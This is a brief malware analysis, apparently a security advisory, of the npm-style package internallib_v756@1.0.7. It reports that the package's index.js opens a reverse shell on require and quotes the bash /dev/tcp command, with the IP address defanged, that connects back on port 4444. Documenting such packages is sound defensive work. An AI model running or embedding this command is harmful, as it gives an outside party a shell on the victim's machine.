internallib_v756@1.0.7

Analysis

The package's main entry (index.js) executes a reverse shell on require: it runs /bin/bash -c "bash -i >& /dev/tcp/10[.]0[.]74[.]63/4444 0>&1", opening an interactive bash session back to 10[.]0[.]74[.]63 on TCP port 4444. Any application that imports this package hands the remote host a shell on the machine running it.